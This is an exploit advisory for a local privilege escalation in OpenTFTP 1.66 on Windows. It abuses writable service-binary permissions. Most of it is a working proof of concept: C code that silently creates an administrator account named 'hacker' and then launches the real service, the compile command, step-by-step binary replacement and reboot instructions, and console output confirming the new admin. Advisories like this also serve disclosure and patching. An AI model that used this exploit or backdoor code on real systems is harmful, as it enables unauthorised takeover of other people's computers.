OpenTFTP 1.66 Local Privilege Escalation

OpenTFTP version 1.66 suffers from a local privilege escalation vulnerability.


MD5 | 4c237a98f5dd3ec8ed985d7311aa35bc

# Exploit Title:   OpenTFTP 1.66 - Local Privilege Escalation
# Exploit Author: boku
# Date: 2020-02-12
# Vendor Homepage: https://sourceforge.net/projects/tftp-server/
# Software Link: https://sourceforge.net/projects/tftp-server/files/tftp%20server%20single%20port/OpenTFTPServerSPInstallerV1.66.exe/download
# Version: 1.66
# Tested On: Windows 10 (32-bit)

# About:
# "MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges,
# Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available."
# Downloads: 43,284 This Week - https://sourceforge.net/projects/tftp-server/

# Vulnerability Details:
# On Windows, Open TFTP Server v1.66, suffers from insecure file & folder permissions.
# This allows a low-privilge, local attacker to escalate their permissions to Administrator;
# by replacing the 'TFTPServer' service binary with a maliciously-crafted, binary executable.
# The TFTP Server runs as an 'Auto_Start' Service, with 'LocalSystem' priviledges, after the
# default installation. After the attacker has planted the malicious binary, the code will
# be executed with System priviledges on the next boot of the windows device. See PoC below for details.

## Service Information (there is also an Unquoted Service Path)
C:\>sc qc TFTPServer
SERVICE_NAME: TFTPServer
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\OpenTFTPServer\OpenTFTPServerSP.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Open TFTP Single Port Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

## Insecure Folder Permission
C:\OpenTFTPServer BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\OpenTFTPServer\OpenTFTPServerSP.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)

## Local Privilege Escalation Proof of Concept
#0. Download & install Open TFTP Server v1.66

#1. Create low privileged user & change to the user
C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"
User name lowPrivUser
Local Group Memberships *Users
Global Group memberships *None
C:\>whoami
mycomputer\lowprivuser

#2. Move the Service EXE to a new name
C:\OpenTFTPServer>move OpenTFTPServerSP.exe ~OpenTFTPServerSP.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
1) Download dependencies
[email protected]# apt install gcc-mingw-w64-i686 wine64 -y
2) Add Admin User C Code
[email protected]# cat addAdmin.c
#include<windows.h>
int main(void){
system("net user hacker mypassword /add");
system("net localgroup Administrators hacker /add");
WinExec("C:\\OpenTFTPServer\\~OpenTFTPServerSP.exe",0);
return 0;
}
3) Compile Code
[email protected]# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o OpenTFTPServerSP.exe

#4. Transfer created 'OpenTFTPServerSP.exe' to the Windows Host

#5. Move the created 'OpenTFTPServerSP.exe' binary to the 'C:\OpenTFTPServer\' Folder
C:\>move C:\Users\lowPrivUser\Desktop\OpenTFTPServerSP.exe C:\OpenTFTPServer\
1 file(s) moved.
C:\>dir C:\OpenTFTPServer | findstr "OpenTFTPServerSP.exe"
02/12/2020 05:59 PM 288,659 OpenTFTPServerSP.exe
02/12/2020 06:38 PM 221,560 ~OpenTFTPServerSP.exe

#6. Reboot the Computer

#7. Look at that new Admin
C:\Users\lowPrivUser>net users hacker | findstr "Local name active"
User name hacker
Account active Yes
Local Group Memberships *Administrators *Users

C:\Users\lowPrivUser>net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members
-------------------------------------------------------------------------------
Administrator
boku
hacker

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